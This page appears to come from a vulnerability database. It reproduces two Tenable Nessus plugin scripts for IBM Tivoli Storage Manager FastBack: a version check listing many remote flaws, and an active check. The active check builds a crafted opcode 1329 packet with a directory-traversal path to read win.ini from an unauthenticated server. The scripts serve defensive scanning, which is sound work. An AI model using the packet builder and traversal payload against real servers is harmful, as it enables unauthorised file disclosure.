Vulnerabilities > CVE-2015-1941 - Information Exposure vulnerability in IBM Tivoli Storage Manager Fastback

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(91502);
  script_version("1.4");
  script_cvs_date("Date: 2018/11/15 20:50:22");

  script_cve_id("CVE-2015-1941");
  script_bugtraq_id(75446);
  script_xref(name:"ZDI", value:"ZDI-15-268");

  script_name(english:"IBM Tivoli Storage Manager FastBack Server Opcode 1329 Information Disclosure");
  script_summary(english:"Attempts to read a file on the remote host.");

  script_set_attribute(attribute:"synopsis", value:
"A remote backup service is affected by an information disclosure 
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The IBM Tivoli Storage Manager FastBack Server running  on the remote
host is affected by an information disclosure vulnerability due to
improper processing of opcode 1329. An unauthenticated, remote
attacker can exploit this, by sending a crafted packet to TCP port
11460, to read the contents of arbitrary files.

Note that the FastBack Server running on the remote host is reportedly
affected by other vulnerabilities as well; however, this plugin has
not tested for them.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-268/");
  # http://www-01.ibm.com/support/docview.wss?uid=swg21959398
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bc221f52");
  script_set_attribute(attribute:"solution", value:
"Upgrade to IBM Tivoli Storage Manager FastBack version 6.1.12 or
later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/05/18");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/07/02");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/06/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:tivoli_storage_manager_fastback");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2016-2018 Tenable Network Security, Inc.");

  script_dependencies("ibm_tsm_fastback_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("IBM Tivoli Storage Manager FastBack Server", "Services/tsm-fastback");
  script_require_ports(11460);

  exit(0);
}

include("byte_func.inc");
include("misc_func.inc");
include("global_settings.inc");
include("audit.inc");
include("dump.inc");

function mkdword_le()
{
  local_var v;

  v = _FCT_ANON_ARGS[0];

  return mkdword(v, order: BYTE_ORDER_LITTLE_ENDIAN);
}

function mk_pkt(opcode, p1, p2, p3)
{
  local_var cmd_buf, cmd_hdr, pkt;

  if(isnull(opcode))
    return NULL;

  if(isnull(p1)) 
    p1 = crap(data:'P1', length:8);

  if(isnull(p2)) 
    p2 = crap(data:'P2', length:8);
     
  if(isnull(p3)) 
    p3 = crap(data:'P3', length:8);

  # psAgentCommand
  cmd_hdr = 
    crap(data:'UNK1', length:0x8) +       # ? 
    '\x00\x00\x00\x00' +                  # ptr to agent obj
    mkdword_le(opcode) +                  # command opcode 
    mkdword_le(0) +                       # p1 offset
    mkdword_le(strlen(p1)) +              # p1 size
    mkdword_le(strlen(p1)) +              # p2 offset
    mkdword_le(strlen(p2)) +              # p2 size
    mkdword_le(strlen(p1) + strlen(p2)) + # p3 offset
    mkdword_le(strlen(p3)) +              # p3 size
    '\x00\x00\x00\x00' +                  # command status 
    '\x00\x00\x00\x00';                   # ptr to psCommandBuffer
     
  # psCommandBuffer
  cmd_buf = p1 + p2 + p3;
  
  pkt = cmd_hdr + cmd_buf;      

  # Append pkt len
  pkt = mkdword(strlen(pkt)) + pkt;

  return pkt;
}

#
# MAIN
#

# Only Windows targets are affected.
# If we cannot determine the remote OS, we still perform the check.
os = get_kb_item('Host/OS');
if (!isnull(os) && 'Windows' >!< os)
  audit(AUDIT_OS_NOT, 'Windows');

port = get_service(svc:'tsm-fastback', default:11460, exit_on_fail:TRUE);
soc = open_sock_tcp(port);
if (!soc) 
  audit(AUDIT_SOCK_FAIL, port);

files = make_list('\\windows\\win.ini', '\\winnt\\win.ini');
file_pats['\\winnt\\win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['\\windows\\win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

opcode = 1329; 
foreach file (files)
{
  from    = 0;      # starting position of the byte range to retrieve 
  to      = 10000;  # ending position of the byte range to retrieve
  chunk_loc = 0;    # used for byte range locking? 
  file_loc  = 0;    # used for file locking? 
  # file path relative to C:\ProgramData\Tivoli\TSM\FastBack\server
  p1 = 'File: ' + '..\\..\\..\\..\\..\\..\\..\\..' + file +
       ' From: ' + from +
       ' To: ' + to +
       ' ChunkLoc: ' + chunk_loc +
       ' FileLoc: '  + file_loc;

  req = mk_pkt(opcode: opcode, p1: p1);
  send(socket:soc, data:req);
  res = recv(socket:soc,length: 0x4400);

  # Server should return something even for a non-existing file
  if(isnull(res)) 
    audit(AUDIT_RESP_NOT, port);
 
  # Server should return at least 4 bytes 
  if(strlen(res) < 4)
    audit(AUDIT_RESP_BAD, port, 'a request with opcode ' + opcode + ': response too short' );
   
  # Check response pkt length 
  if(getdword(blob:res, pos:0) != strlen(res) - 4)
    audit(AUDIT_RESP_BAD, port, 'a request with opcode ' + opcode + ': Invalid response packet length');

  res = substr(res, 4);
  if (egrep(pattern:file_pats[file], string:res))
  {
    security_report_v4(
      port        : port,
      severity    : SECURITY_HOLE,
      file        : file,
      request     : make_list(hexdump(ddata:req)),
      output      : res,
      attach_type : 'text/plain'
    );
    exit(0);
  }
}
audit(AUDIT_LISTEN_NOT_VULN,'IBM Tivoli Storage Manager FastBack Server', port);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(84585);
  script_version("1.10");
  script_cvs_date("Date: 2019/11/25");

  script_cve_id(
    "CVE-2015-1923",
    "CVE-2015-1924",
    "CVE-2015-1925",
    "CVE-2015-1929",
    "CVE-2015-1930",
    "CVE-2015-1938",
    "CVE-2015-1941",
    "CVE-2015-1942",
    "CVE-2015-1948",
    "CVE-2015-1949",
    "CVE-2015-1953",
    "CVE-2015-1954",
    "CVE-2015-1962",
    "CVE-2015-1963",
    "CVE-2015-1964",
    "CVE-2015-1965",
    "CVE-2015-1986",
    "CVE-2016-0212",
    "CVE-2016-0213",
    "CVE-2016-0216"
  );
  script_bugtraq_id(
    75444,
    75445,
    75446,
    75447,
    75448,
    75449,
    75450,
    75451,
    75452,
    75453,
    75454,
    75455,
    75456,
    75457,
    75458,
    75459,
    75461,
    83278,
    83280,
    83281
  );

  script_name(english:"IBM Tivoli Storage Manager FastBack 6.1.x < 6.1.12 Multiple Vulnerabilities");
  script_summary(english:"Checks the version of IBM TSM.");

  script_set_attribute(attribute:"synopsis", value:
"The remote backup service is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of IBM Tivoli Storage Manager FastBack running on the
remote host is 6.1.x prior to 6.1.12. It is, therefore, affected by
multiple vulnerabilities :

  - An overflow condition exists due to improper validation
    of user-supplied input when handling opcode 1331. A
    remote, unauthenticated attacker can exploit this issue
    to cause a buffer overflow, resulting in a denial of
    service condition or the execution of arbitrary code.
    (CVE-2015-1923)

  - An overflow condition exists due to improper validation
    of user-supplied input when handling opcode 1329. A
    remote, unauthenticated attacker can exploit this issue
    to cause a stack-based buffer overflow, resulting in a
    denial of service condition or the execution of
    arbitrary code. (CVE-2015-1924)

  - An overflow condition exists due to improper validation
    of user-supplied input when handling opcode 1332. A
    remote, unauthenticated attacker can exploit this issue
    to cause an overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1925)

  - A buffer overflow condition exists in the
    FXCLI_OraBR_Exec_Command() function due to improper
    validation of user-supplied input. A remote,
    unauthenticated attacker can exploit this issue, via a
    specially crafted packet, to cause a stack-based buffer
    overflow, resulting in a denial of service or the
    execution of arbitrary code. (CVE-2015-1929)

  - A buffer overflow condition exists in the
    JOB_S_GetJobByUserFriendlyString() function due to
    improper validation of user-supplied input. A remote,
    unauthenticated attacker can exploit this issue, via a
    specially crafted packet, to cause a stack-based buffer
    overflow, resulting in a denial of service or the
    execution of arbitrary code. (CVE-2015-1930)

  - An overflow condition exists due to improper validation
    of user-supplied input when handling opcode 1331. A
    remote, unauthenticated attacker can exploit this issue,
    via a specially crafted packet, to execute arbitrary
    commands with a system call. (CVE-2015-1938)

  - An unspecified flaw exists that occurs during the
    handling of opcode 1329. A remote, unauthenticated
    attacker can exploit this issue to gain access to
    arbitrary files. (CVE-2015-1941)

  - An unspecified flaw exists that occurs during the
    handling of opcode 1332. A remote, unauthenticated
    attacker can exploit this issue to write or execute
    arbitrary files. (CVE-2015-1942)

  - An overflow condition exists due to improper validation
    of user-supplied input when handling opcode 1364. A
    remote, unauthenticated attacker can exploit this
    issue, via a specially crafted packet, to cause a
    stack-based buffer overflow, resulting in a denial of
    service condition or the execution of arbitrary code.
    (CVE-2015-1948)

  - An unspecified flaw exists that is triggered during the
    handling of opcode 1330. A remote, unauthenticated
    attacker can exploit this issue, via specially crafted
    packet, to execute arbitrary commands with a system
    call. (CVE-2015-1949)

  - A format string flaw exists in the vsprintf() function
    due to improper sanitization of user-supplied format
    string specifiers when processing opcode 1335. A remote,
    unauthenticated attacker can exploit this issue, via a
    specially crafted packet, to cause a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1953)

  - An overflow condition exists due to improper validation
    of user-supplied input. A remote, unauthenticated
    attacker can exploit this issue to cause a stack-based
    buffer overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1954)

  - An overflow condition exists due to improper validation
    of user-supplied input. A remote, unauthenticated
    attacker can exploit this issue to cause a stack-based
    buffer overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1962)

  - An overflow condition exists due to improper validation
    of user-supplied input. A remote, unauthenticated
    attacker can exploit this issue to cause a stack-based
    buffer overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1963)

  - An overflow condition exists due to improper validation
    of user-supplied input. A remote, unauthenticated
    attacker can exploit this issue to cause a stack-based
    buffer overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1964)

  - An overflow condition exists due to improper validation
    of user-supplied input. A remote, unauthenticated
    attacker can exploit this issue to cause a stack-based
    buffer overflow, resulting in a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1965)

  - A format string flaw exists in the vsprintf() function
    due to improper sanitization of user-supplied format
    string specifiers when processing opcode 1301. A remote,
    unauthenticated attacker can exploit this issue, via a
    specially crafted packet, to cause a denial of service
    condition or the execution of arbitrary code.
    (CVE-2015-1986)

  - Multiple stack-based buffer overflow conditions exist
    due to improper bounds checking. A remote attacker can
    exploit these, via a crafted packet, to crash the server
    or execute arbitrary code with SYSTEM privileges.
    (CVE-2016-0212, CVE-2016-0213, CVE-2016-0216)");
  # http://www-01.ibm.com/support/docview.wss?uid=swg21959398
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bc221f52");
  # http://www-01.ibm.com/support/docview.wss?uid=swg21975358
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5833512d");
  script_set_attribute(attribute:"solution", value:
"Upgrade to IBM Tivoli Storage Manager FastBack version 6.1.12 or
later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-0216");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/05/18");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/07/02");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/07/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:tivoli_storage_manager_fastback");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ibm_tsm_fastback_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("IBM Tivoli Storage Manager FastBack Server", "Services/tsm-fastback");

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("audit.inc");

port = get_service(svc:"tsm-fastback", default:11460, ipproto:"tcp", exit_on_fail:TRUE);
app_name = "IBM Tivoli Storage Manager FastBack Server";

version = get_kb_item_or_exit(app_name + "/" + port + "/version");

if (version == "unknown")
  audit(AUDIT_UNKNOWN_APP_VER, app_name);

# We only care about 6.1 specifically.
if (version !~ "^6\.1(\.|$)")
  audit(AUDIT_NOT_LISTEN, app_name +" 6.1", port);

os = get_kb_item("Host/OS");

# Only Windows targets are affected.
if (!isnull(os) && "Windows" >!< os)
  audit(AUDIT_OS_NOT, 'Windows');

# If we cant determine the OS and we don't have paranoia on we do not continue
# this is probably a version so old it does not matter for these checks anyway
if (isnull(os) && report_paranoia < 2)
  audit(AUDIT_OS_NOT, "determinable.");


# Check for fixed version
fix = "6.1.12";
if (ver_compare(ver:version,fix:fix,strict:FALSE) <  0)
{
  report =
    '\n  Product           : ' + app_name +
    '\n  Port              : ' + port +
    '\n  Installed version : ' + version +
    '\n  Fixed version     : ' + fix +
    '\n';

    security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);
    exit(0);
}
else
  audit(AUDIT_LISTEN_NOT_VULN, app_name, port, version);